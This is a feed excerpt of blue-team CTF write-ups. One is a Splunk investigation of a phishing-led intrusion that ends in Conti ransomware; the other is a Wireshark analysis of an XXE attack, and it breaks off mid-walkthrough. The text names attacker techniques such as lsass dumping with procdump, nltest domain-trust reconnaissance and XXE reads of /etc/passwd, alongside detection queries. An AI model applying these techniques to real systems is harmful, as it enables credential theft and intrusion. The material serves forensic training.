CyberDefenders</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>CompliantSecure Company has fallen victim to a significant security breach initiated by a phishing email. An unsuspecting employee interacted with the malicious email, allowing the attacker to infiltrate the company’s network. Leveraging this initial access, the attacker escalated privileges, gaining control over critical systems, including the Domain Controller.</em></p><p><em>This breach has resulted in substantial operational disruption, raising concerns about potential exposure or compromise of sensitive data. Your team has been assigned the critical task of investigating the incident to unravel the attack’s progression and assess the full scope of the compromise.</em></p><h3>Network Diagram</h3><ul><li>Below is a network infrastructure diagram, showing key systems and segments.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DJI3I9KXJigiiI7y.png" /></figure><p>I’m going to assume that you will either be connecting via elk.compliantsecure.store (if you pick ELK) or splunk.compliantsecure.store (if you pick Splunk).</p><p>Either way, it’s a SIEM we’re going to look into, so let’s go ahead and begin our hunt! My choice for this lab will be Splunk, but feel free to hunt along in ELK if you prefer so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*boyOxpoJMIQeLgpt2EjE5w.png" /></figure><h3>The Questions</h3><blockquote>1: [Initial Access] The Mail Server logs indicate a connection was made to a suspicious domain known for malicious email activities. What was the IP address of the domain involved in this connection?</blockquote><p>To begin, we need the mailserver logs. The scenario doesn’t list what the mail client is, but I’m going to take a guess that it’s Postfix (based on other labs that had a similar setup). Looking at the network diagram, we have MAIL01 which is hosted at 10.10.3.108. Looking at the Data Summary above, we have both MAIL01 and ip-10–10–3–108 as hosts, so both could have the data we need. I’m going to look into the Postfix log files, which are located in syslog. Let’s craft a query to find that data:</p><pre>index=main source=&quot;/var/log/syslog&quot; host=&quot;mail01&quot; OR host=&quot;ip-10-10-3-108&quot; process=*postfix* <br>| sort _time +</pre><p>We get a total of 65 hits, which are all from “ip-10–10–3–108”, so it’s safe to assume that email log is located here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vKbDpVXGdtDSTQCFFb-vDQ.png" /></figure><p>Now, let’s look into the connections made. Examining the “postfix/submission/smtpd” process, we can see the following connections being made:</p><ul><li>azpdcs16.stretchoid.com (172.168.41.198)</li><li>infinitechsolutions.xyz (172.0.0.1)</li><li>&lt;no domain&gt; (152.32.211.69)</li><li>emkei.cz (114.29.236.247)</li><li>Unknown (118.182.100.137)</li><li>Unknown (36.212.79.233)</li></ul><p>We have 6 possible candidates here, but two stand out because an actual TLS connection was established:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C85YFYqj6IbMUTmB0DHJqA.png" /></figure><p>One is from infinitechsolutions.xyz on localhost, which isn’t too shocking. The other is… more suspicious. The IP-address associated with this domain is the correct answer here.</p><blockquote>2: [Initial Access] During the initial phase of the attack, a suspicious file was downloaded via a webmail client. The file’s hash can help confirm its identity and origin. Identify the SHA256 hash of the downloaded file and provide it.</blockquote><p>I originally tried to search my SIEM for both the domain and the IP-address found, but those yield no actual results. So, we have to approach this from a different angle.</p><p>We know it’s downloaded from a webmail client, so it’s safe to assume, since users are being lazy, that the file was probably stored in a Downloads folder, and the Image is something along the lines of Edge, Chrome or Firefox. Additionally, we need the hash, so Sysmon Event ID 11 won’t do (File Creation). Instead, we need Sysmon Event ID 15 instead. Let’s craft a query that finds this based on the information we have so far:</p><pre>index=main source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=15 Image IN (&quot;*chrome.exe&quot;, &quot;*firefox.exe&quot;, &quot;*edge.exe&quot;) TargetFilename=*Downloads*<br>| table _time host user TargetFilename SHA256 <br>| sort _time +</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w6lWsfkDYnj2RC0khpbaEg.png" /></figure><p>My eye falls pretty much immediately on “NovaSecure_Audit_findings.iso”. I’ve been part of several security-related audits for years and never in my life have I received findings in anything different than Excel, Word or email. An ISO file is very, very strange. The SHA256 of this file is the correct answer to this question.</p><blockquote>3: [Execution] During the investigation, it was identified that a file executed by the user initiated a series of events that led to the execution of malicious code. What is the name of the file executed by the user?</blockquote><p>I think it’s worth to investigate the NovaSecure_Audit_Findings file further. Let’s examine all file creations that contain “NovaSecure_Audit_Findings” in their filepath, and make a table of the most relevant information for easier research:</p><pre>index=main EventID=11 file_path=*NovaSecure_Audit_Findings* <br>|  table _time host user file_name</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4EfO9iYHrAzytJHkF3v8w.png" /></figure><p>I… have questions. Around 9:02 PM, five files were created. One is a PDF (which on its own could be ok). The other files though… a .lnk file, a .dll file and a suspicious readme file? Along with the earlier found ISO file, that’s not okay. I would’ve expected a corresponding Process Creation event here (Sysmon Event ID 1), but I couldn’t find it.</p><p>The question is asking for the suspicious link file, so the filename there is the correct answer here.</p><blockquote>4: [Execution] Following the execution of the previous file, a file was loaded and executed by a legitimate Windows utility as part of the attack chain. What is the name of this file?</blockquote><p>That would be the .dll file we found, and there is a Process Creation event corresponding with it (investigate Event ID 1 instead of 11 with the .dll file to find this record):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*lrH_PdvvH8zPbaO7zZ8nYQ.png" /></figure><p>Rundll32 was the legitimate Windows utility that executed this file.</p><blockquote>5: [Execution] The beacon spawned an instance of a specific executable. What is the name of the created process?</blockquote><p>Since we have established that Rundll32 was the Windows utility that executed the file, let’s see what Processes are created by rundll32 on this host. I couldn’t find the Sysmon entry, so I defaulted to the Windows Event ID for Process Creation, which is <strong>4688</strong></p><pre>index=main host=&quot;IT01&quot; EventID=4688 parent_process_name=&quot;rundll32.exe&quot;</pre><p>This will show a singular entry, containing the executable that’s being spawned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*C2CcSpFA13wRO2NmWuHCng.png" /></figure><p>This executable will be the correct answer here</p><blockquote>6: [Execution] On DC01, the attacker dropped a compressed archive, likely staging for malicious activities. They then executed a command to extract its contents. What was the exact command used for this operation?</blockquote><p>To answer this, let’s switch hosts to the DC01 and look into the Process Creation events. Since we know a command was executed, we can narrow it down to “cmd.exe” and powershell.exe” as the image in question. Since we know malicious commands were executed on the Domain Controller, it’s worth making a full view of all commands executed, sorted in order of execution. I made the following Splunk query for this</p><pre>index=main host=&quot;DC01&quot; EventID=1 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; Image=&quot;C:\\Windows\\System32\\cmd.exe&quot; OR Image=&quot;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot; <br>| table _time user Image CommandLine <br>| sort _time +</pre><p>This will reveal a total of 28 commands. Some are legit, but I believe the following commands might be malicious:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZVBSSwbE6MG0V-VmNYbhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NI3kwY4KNTZKrfW9g_HgdA.png" /></figure><p>First, 7zip was used to extract the archive “1.7z” on the DC. Then, a local user “sql_admin” was created and added to the local Administrators group. Later, this user executed the batch file “1.bat” from Desktop. I feel we need some of these later.</p><p>Either way, the first command is the extraction command you’re looking for.</p><blockquote>7: [Defense Evasion] A process injection occurred on IT01, where a new thread was created in the target process to execute malicious code. What was the start address of the injected code within the target process?</blockquote><p>If you know your Sysmon logs, you know that Sysmon Event ID <strong>8</strong> detects the creation of remote threads (threads in other processes), commonly seen as a sign of code injection or hiding. Knowing that, let’s investigate the Sysmon ID 8 on the IT01 server:</p><pre>index=main host=&quot;IT01&quot; EventID=8 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot;</pre><p>This will yield a singular record that contains the start address you’re looking for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KnsgBXI3P2N5MSe13Y67ow.png" /></figure><p>We can also see the earlier found combination of Rundll32.exe and the executable we found in Question 5.</p><blockquote>8: [Discovery] The attacker’s sequence of commands shows a focus on domain-specific reconnaissance on IT01. Which command was executed to explore domain trust relationships within the environment?</blockquote><p>Let’s do the same as we did for Question 6 and analyze all command and Powershell executions on the IT01 server:</p><pre>index=main host=&quot;IT01&quot; EventID=1 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; Image=&quot;C:\\Windows\\System32\\cmd.exe&quot; OR Image=&quot;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot; <br>| table _time user Image CommandLine <br>| sort _time +</pre><p>By examining the logs and correlating the timestamp of the attack, we see the following sequence of suspicious events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lxAmZDhdtfmRlVOrXCLulQ.png" /></figure><p>Let’s go through them:</p><ul><li>ipconfig /all, arp -a and nbtstat -n (which probably was a typo for netstat -n) are all network reconnaissance commands.</li><li>ping -n 1 ad.compliantsecure.store, nltest /dclist: and nltest /domain_trusts are Active Directory reconaissance commands</li><li>procdump64.exe is likely a credential dump (since it targets lsass.exe)</li><li>The output (doc1.dmp) is then compressed into doc1.7z by 7Zip and was later erased, along with the compressed file (erasure of traces)</li></ul><p>By reading these commands, you can probably figure out which command explores the domain trusts ;-)</p><blockquote>9: [Discovery] Network scanning activity was observed across the environment on DC01, focusing on key systems with straightforward network reachability tests. Further investigation revealed that the attacker utilized a script to automate these actions. What was the name of the script used in this operation?</blockquote><p>To find this, I searched the file creation events on the DC01 for .bat or .ps1 files (it doesn’t mention what script was used, so I picked both):</p><pre>index=main host=&quot;DC01&quot; EventID=11 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; TargetFilename=*.bat OR TargetFilename=*.ps1<br>| table _time user Image TargetFilename <br>| sort _time +</pre><p>This results in about 110 entries, mostly legitimate. But by scrolling through them, you will spot the following one which is likely not so legitimate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Z0dpSg_d7Lg4OG5zqVkDA.png" /></figure><p>It was also done by the newly created user.</p><blockquote>10: [Credential Access] On IT01, The attacker dropped a tool for credential dumping during the attack. What is the full path where this tool was created on the system?</blockquote><p>We know the tool that was used (if you forgot, read the Q8 command breakdown once more). Let’s find the file path of that command. I examined the process execution events looking for the “Image” to find it:</p><pre>index=main host=&quot;IT01&quot; EventID=1 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; procdump64.exe <br>| table _time user Image CommandLine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*stx5qYgLW40S8MmNUlNGaQ.png" /></figure><p>The first image on the screenshot is the location where the tool was installed from.</p><blockquote>11: [Credential Access] Timing is critical for understanding the attacker’s actions and reconstructing the sequence of events. What was the timestamp when the attacker executed the credential dumping operation?</blockquote><p>I think you have sufficient evidence for this by now if you followed along. If you don’t, re-visit the earlier command breakdown on Q8 or the specific search for Q10. The timestamp found by the execution command is the answer you need.</p><blockquote>12: [Credential Access] The attacker dropped a compression tool on IT01. What is the full path where this tool was created on the system?</blockquote><p>We already found the tool for this (see Q8 breakdown once more). Let’s craft a similar query to find the location for this file. We want the File Creation event for this one:</p><pre>index=main host=&quot;IT01&quot; EventID=11 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; 7zr.exe <br>| table _time user Image TargetFilename</pre><p>This will result in a singular entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QCs-Ujt_Hha2bsHTzaxuw.png" /></figure><blockquote>13: [Credential Access] Due to a weak password, the attacker quickly cracked the credentials of a domain administrator account and used them to explicitly authenticate on IT01, gaining domain admin privileges. What is the username of the account whose credentials were stolen?</blockquote><p>If you remember one of the earlier questions, we saw a second downloaded file from a user account. Let’s investigate the succesful login attempts on the IT01 first by examining all succesful login attempts (Event ID 4624) along with the volume:</p><pre>index=main host=&quot;IT01&quot; EventID=4624 <br>| stats count by TargetUserName <br>| sort - count -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5S9vkIMm88y3L5pltpBRA.png" /></figure><p>Most of these seem like automated accounts, but the second entry in the list definitely isn’t. This is the account we’re looking for.</p><p>Honestly, a domain admin account with a weak password? <strong>SHAME.</strong></p><blockquote>14: [Lateral Movement] A specific port was used during the lateral movement from IT01 to DC01. What was the port number?</blockquote><p>If you were thinking of using Sysmon Event ID 3 (Network Connection) — makse sense, but it won’t find you this answer. You need a different Event ID for this, which is <strong>5156</strong> (The Windows Filtering Platform has allowed a connection). Let’s craft a query that finds this information. We also know the IP-addresses of these systems thanks to the network chart we got earlier, so let’s use these to our advantage too:</p><pre>index=main EventCode=5156 src_ip=&quot;10.10.11.110&quot; dest_ip=&quot;10.10.11.156&quot; <br>| stats count by dest_port <br>| sort - count -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jq-iQ0xgZ7WR4gkxhyflvA.png" /></figure><p>These services are being communicated over:</p><ul><li><strong>53</strong> — DNS</li><li><strong>389</strong> — LDAP</li><li><strong>135</strong> — RPC (Microsoft RPC Endpoint Mapper)</li><li><strong>49667</strong> — Dynamic RPC Port (Windows)</li><li><strong>445</strong> — SMB (Server Message Block)</li><li><strong>123</strong> — NTP (Network Time Protocol)</li><li><strong>88</strong> — Kerberos</li><li><strong>49676</strong> — Dynamic RPC Port (Windows)</li><li><strong>0</strong> — Reserved (Not used for communication)</li><li><strong>49692</strong> — Dynamic RPC Port (Windows)</li></ul><p>Lateral movement would make most sense over SMB (file communication), so submit that port to clear this question.</p><blockquote>15: [Lateral Movement] The malicious executable was stored in a shared location before execution. What was the full path where the executable was first created on DC01?</blockquote><p>Let’s examine all file creation events on the DC01 to find this one:</p><pre>index=main host=DC01 EventCode=11 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; TargetFilename=*.exe <br>| table _time user Image TargetFilename <br>| sort _time +</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IeRA8kY4YZqdMgYTtxE8w.png" /></figure><p>This file catches my eye, it’s not an usual file name and it’s ran from the Windows directory. This is the file you need.</p><blockquote>16: [Lateral Movement] The attacker initiated an RDP connection to DC01 using a compromised account. What is the name of the attacker’s workstation?</blockquote><p>We know the compromised account is “markw” (found earlier), so let’s investigate all logins on the DC01 by that account and establish where they came from:</p><pre>index=main host=DC01 EventCode=4624 Target_User_Name=markw <br>| stats count by Source_Workstation <br>| sort - count -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*48f0B1jENiBHlF2wea4q1A.png" /></figure><p>2 entries were done from a workstation that doesn’t seem to be in the network diagram. That is the correct answer to the question.</p><blockquote>17: [Lateral Movement] The attacker utilized the remote access tool to establish a connection to the system and performed the first interactive login <strong>using the created account for persistence</strong>. At what time did this logon occur?</blockquote><p>We know that the user “sql_admin” was made on the Domain Controller (found in the Q6 breakdown), so let’s investigate all succesful login events of this account on the DC01 host:</p><pre>index=main host=DC01 EventCode=4624 Target_User_Name=sql_admin</pre><p>This shows a pair of records with the same time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*YZ1psj9XqQPYN7FFcIo4Fg.png" /></figure><p>That’ll be the correct answer.</p><blockquote>18: [Persistence] Performed lateral movement to DC01. To establish persistence, they installed a malicious service on DC01. What was the name of the service created on DC01?</blockquote><p>To find this, investigate the Windows Event Log <strong>4697 and 7045</strong> entries for Service Creation events on the DC01:</p><pre>index=main host=DC01 EventCode IN (&quot;4697&quot;,&quot;7045&quot;) <br>| table _time ServiceName ImagePath <br>| sort _time +</pre><p>By examining the records at around the time of the attack, we see two interesting records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*HZso2mZOW9_np5w1j3WuZw.png" /></figure><p>It’s that shady executable again, this time created as a service. This will reveal the correct answer to this question.</p><blockquote>19: [Persistence] To establish persistence on DC01, the attacker created a new local user account and elevated its privileges. What were the username and password set for this account?</blockquote><p>We found this in the Q6 command breakdown. Re-read that to find the user and password created to answer this question.</p><blockquote>20: [Persistence] The attacker installed a remote access tool on DC01 to enable persistent remote access and ensure continued control over the system. At what exact time was this service installed?</blockquote><p>For this, take a look at the second service created record in the Q18 analysis. The time logged for this record is the correct answer.</p><blockquote>21: [Collection] After executing the reconnaissance script, the attacker directed their efforts toward a network folder share. Navigating through the shared directories, they stumbled upon a file that potentially contained critical information. This file was subsequently opened. What was the name of the file accessed by the attacker in this operation?</blockquote><p>For this question, we’re going to stay on the DC01, since a network share can be accessed from there. Let’s examine all file creation events on the DC01, and investigate from the time of the attack. Due to the large volume of events, we’re going to work backwards this time:</p><pre>index=main host=DC01 EventCode=11 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; <br>| table _time user Image TargetFilename <br>| sort _time d</pre><p>By examining the file records, you will eventually run into a series of files found on C:\Users\sql_admin\Desktop\Shares\, so let’s narrow our filter down a bit more:</p><pre>index=main host=DC01 EventCode=11 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; <br>| table _time user Image TargetFilename <br>| sort _time d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqAbvUC144L2Woq_oS1qfA.png" /></figure><p>My first question: Why are these files even connected to the DC?</p><p>That said, there’s a LOT of sensitive information, but I think the attacker was most interested in this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*IPBsfr8V3RkweVriPWIalg.png" /></figure><p>That file is the correct answer here.</p><blockquote>22: [Collection] The attacker leveraged an RDP connection from DC01 to FileServer01 to access and collect sensitive documents. After gathering the files, the attacker used a compression utility to archive them into a single file, preparing the data for exfiltration. What was the name of the compressed file created by the attacker during this operation?</blockquote><p>Examine the same records again, but this time, look for a timestamp a bit later than these:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACHRf-B5nllvB02ZKA8mNg.png" /></figure><p>Created by 7zr.exe containing a very familiar name. That’s the file we’re looking for.</p><blockquote>23: [Collection] The attacker initiated an RDP connection from their workstation to <strong>Support01</strong> and accessed the mail server through a web browser. Using compromised credentials — reused by the domain admin for both Active Directory and the mail server — they successfully logged in. Then, the attacker downloaded a file containing potentially sensitive information from the compromised email account. What was the name of the file downloaded by the attacker?</blockquote><p>A web browser and a file download… where have we seen this before? Oh right! All the way back at Question 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w6lWsfkDYnj2RC0khpbaEg.png" /></figure><p>Look at the second set of entries: Done at a late time, on SUPPORT01, by the compromised account. That’s the one we need!</p><blockquote>24: [Command and Control] Following the execution of the initial access malicious file, a network connection was established with a Command and Control (C2) server. What is the destination IP address and port to which the connection was made?</blockquote><p>NOW we need our Event ID 3 records ;-)</p><p>For this question, we know the following:</p><ul><li>Rundll32 was the one that executed the malicious file</li><li>It was done on IT01</li></ul><p>Let’s put that together:</p><pre>index=main host=IT01 EventCode=3 source=&quot;xmlwineventlog:microsoft-windows-sysmon/operational&quot; Image=&quot;C:\\Windows\\System32\\rundll32.exe&quot;</pre><p>This results in 33 records that all point towards the same IP and port combination:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*KZCR9boncnFyKWimM14qlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*dtJKmefQmcB1vA04ePCw6g.png" /></figure><blockquote>25: [Command and Control] The spawned process by the beacon established a network connection to another external Command-and-Control (C2) server. What is the IP address and port of the C2 server that was contacted?</blockquote><p>We know that the spawned process by the beacon was ImagingDevices.exe. This one is NOT findable by Event ID 3 (I don’t know why exactly), so let’s fall back to Event 5156:</p><pre>index=main host=IT01 EventCode=5156 Application=&quot;*imagingdevices.exe&quot; </pre><p>This results in the following clear outlier in regard to Destination IP and port:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*1ox84-z_g1Yqihrrre_OMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*b_Xi8r-Ipyn01ISQvMho4g.png" /></figure><blockquote>26: [Command and Control] The spawned process by the beacon established a network connection to another external Command-and-Control (C2) server. What is the IP address and port of the C2 server that was contacted?</blockquote><p>For this, we have to look into the Network Connections on the DC01, which we can find with Sysmon Event ID 3:</p><pre>index=main host=DC01 EventCode=3 source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot;</pre><p>This results in a VERY clear outlier:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*7KXC8CMoeYQTi-eAKwJX2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*_wmuBNYfQnXv0qI0HyxmaQ.png" /></figure><blockquote>27: [Impact] The attacker placed a malicious file in a shared folder accessible across the network and executed it remotely on multiple machines. What was the path from which the malicious file was executed?</blockquote><p>For this one, the file is most likely accessible via the Fileserver (10.10.11.18), so let’s investigate all process creations done from a remote location (which I assume is the IP-address in question):</p><pre>index=main EventCode=1 source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; Image=*10.10.11.18*</pre><p>This will reveal the file that’s being executed. You might’ve seen it before in previous analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*hfPWvkA5SiqSXtVFu42wWA.png" /></figure><blockquote>28: [Impact] The malware executed across multiple machines on the network was identified as part of a well-known ransomware family. What is the name of the ransomware family associated with the malware?</blockquote><p>A five-letter well known Ransomware family. I didn’t bother to look into this, I took a well-educated guess and I was right. I think you can do it too.</p><p>If you’re stuck, it starts with a C, ends with an I, and we all hope it won’t actually be Conti-nuously active.</p><p>Okay, that was a bit obvious wasn’t it?</p><blockquote>29: [Impact] A message files were dropped on the infected systems, which likely contained ransom instructions. What was the name of the message file dropped by the malware?</blockquote><p>You should’ve found it by now. If you didn’t, look into file creations of .txt files and you should be able to locate it. That file was created in a LOT of places.</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yWNsh8Im2FMfC6BmTjbdgQ.png" /></figure><p>Making these write-ups after doing the labs made me realize that this lab is fairly decently constructed. By examining the traces once more (knowing what they are), you come across new insights that you didn’t have when you tackled the lab. This definitely goes for this lab. Overall, a good lab, though sometimes a bit inconsistent as you might’ve noticed in my write-up.</p><p>Oh, and shame on you Domain Admin, for making a weak password. I said it before, and I’ll say it again.</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49ddf304b504" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: XXE Infiltration (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-xxe-infiltration-certified-cyber-defenders-5f71e8049aec?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f71e8049aec</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 16:15:15 GMT</pubDate>
            <atom:updated>2025-04-07T16:15:15.676Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/xxe-infiltration/">CyberDefenders: Blue team CTF Challenges | XXE Infiltration</a></p><p>Welcome to my write-up on XXE Infiltration</p><p>Honestly, I picked this one because it was one of the older active labs. Since I like writing up these labs in hopes of teaching others (one day, I hope to be a full-blown tutor), I figured that once the lab retires and more people might be up for the challenge, I can push them in the right direction should they get stuck somewhere. So, here we are with yet another write-up.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ XXE Infiltration Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>XXE Infiltration</strong>. It’s an <strong>Easy</strong> difficulty <strong>Network Forensics </strong>lab which covers the following Tactics: <em>Reconnaissance, Initial Access, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Collection, Exfiltration. </em>In addition, the tools <em>Wireshark and Brim</em> are mentioned</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/xxe-infiltration/">CyberDefenders: Blue team CTF Challenges | XXE Infiltration</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>You are a cybersecurity analyst at PageTurner, a famous online bookstore. An automated alert has detected unusual XML data being processed by the server, indicating a potential XXE (XML External Entity) Injection attack. This raises concerns about the integrity of PageTurner’s customer data and internal systems, prompting an immediate investigation.</em></p><p>When starting up the lab, you get the standard Linux environment, with a “Start here” folder containing your tools and artifacts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Y0VdUAsdouSxASpU.png" /></figure><p>Inside the artifacts folder, we find a single PCAP file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*N7Zz2h7dhq7PVq4ooGQpww.png" /></figure><p>If you’ve done Network Foreniscs labs, you should not be too surprised with this layout. That said, let’s begin.</p><h3>The Questions</h3><blockquote>1: Identifying the open ports discovered by an attacker helps us understand which services are exposed and potentially vulnerable. Can you identify the highest-numbered port that is open on the victim’s web server?</blockquote><p>Ironically, I answered this question last. What I originally did was attempt to search for the port number on the system itself, which obviously didn’t get me too far. So, I skipped it and got back to it later.</p><p>Why “obviously”? Because I should’ve realized that the answer lies in the PCAP, not on the file system (silly me). The question is, how do you locate the highest port number there? Well, in the TCP stream, if both a SYN and ACK packet are sent, the server is responding to a connection request (which means the port is open). So, I used the following Wireshark filter:</p><pre>tcp.flags.syn == 1 and tcp.flags.ack == 1</pre><p>When you use this filter, you will see a whole bunch of lines. By sorting on the “Info” field, you will run into the highest port number there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdOXSmRZvGh7_RrKwv_5qg.png" /></figure><p>This is the correct port for Question 1</p><blockquote>2: By identifying the vulnerable PHP script, security teams can directly address and mitigate the vulnerability. What’s the complete URI of the PHP script vulnerable to XXE Injection?</blockquote><p>To answer this question, you need to know that “injection” suggests that data was sent by the attacker. And what do we look for in HTTP to check for data being sent? That’s right — a POST request. So, let’s look specifically for a POST request connected to a PHP file. I found this via the following Wireshark filter:</p><pre>http.request.method == POST &amp;&amp; http.request.uri contains &quot;.php&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*EO89PIlhAkYSS2pvG6G0KQ.png" /></figure><p>There is only one file that you find this way, and it is indeed the file you are looking for to answer Question 2.</p><blockquote>3: To construct the attack timeline and determine the initial point of compromise. What’s the name of the first malicious XML file uploaded by the attacker?</blockquote><p>Since we know what file is being exploited, let’s investigate the first POST request to find out if a file is being uploaded here. For this, I followed the HTTP stream of the first request by right clicking the request and choosing Follow -&gt; HTTP Stream:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*hVBUu9DuatrwTvSx9UHlLQ.png" /></figure><p>It seems the attacker was a reader (or at least, prefers old novels as file names). Either way, you can find the answer here.</p><blockquote>4: Understanding which sensitive files were accessed helps evaluate the breach’s potential impact. What’s the name of the web app configuration file the attacker read?</blockquote><p>In the above request, you can see that the SYSTEM file /etc/passwd was accessed via this XML file. But while this is definitely a sensitive file, it’s not a web app configuration file. Which means the answer lies in one of the other 4 POST requests to the vulnerable PHP file. Look into them one by one and eventually you will spot this request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*cG6VfU_RaWfZZHbOB1BOug.png" /><figcaption>Another novel, huh?</figcaption></figure><p>That looks more like a config file. This is also the correct answer to Question 4</p><blockquote>5: To assess the scope of the breach, what is the password for the compromised database user?</blockquote><p>Are you still on this request? Good. Scroll down a tiny tad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*3GYK0-x3nVXby8Ldq6DPpQ.png" /></figure><p>Pardon my language here, but my god: what a shitty password. Seriously, no wonder these systems get hacked. Though, to be fair, even if the password was more complex, it’s still accessed via a vulnerability. Honestly though, if you make passwords like this for your systems in 2024, you either need serious awareness training or a different job. Grumble grumble…</p><blockquote>6: Following the database user compromise. What is the timestamp of the attacker’s initial connection to the MySQL server using the compromised credentials after the exposure?</blockquote><p>If you’re on this request, exit the HTTP stream by removing the filter in Wireshark and you will spot the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XrmsSL6ifZ9UVZTKoeceA.png" /></figure><p>At the bottom, you can spot a “MySQL” protocol. It’s probably worth investigating this, so let’s look for all MySQL protocol traffic with this very simple Wireshark filter:</p><pre>mysql</pre><p><em>Yes, it’s that simple</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*AbDFRLQyCovS8zGxxzxmaQ.png" /></figure><p>If you followed the same order as I did (follow HTTP stream, remove filter, add filter for mysql), you will be at frame 88346 or 88348. It seems there also prior requests made for mysql, but we know that the request done by the attacker should be around this timeframe. To answer when the request was done, simply click the packet, then look at the bottom for the Frame information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*uYmpHyGf0HsznEDMeiTyFg.png" /></figure><p>The arrival time will be the correct answer to Question 6</p><blockquote>7: To eliminate the threat and prevent further unauthorized access, can you identify the name of the web shell that the attacker uploaded for remote code execution and persistence?</blockquote><p>Back to the webshell we go. Since the request for Question 5 was the fourth entry, we have one last entry left to go. Look into the final POST request and inspect the HTTP Stream:</p><figure><img alt="" 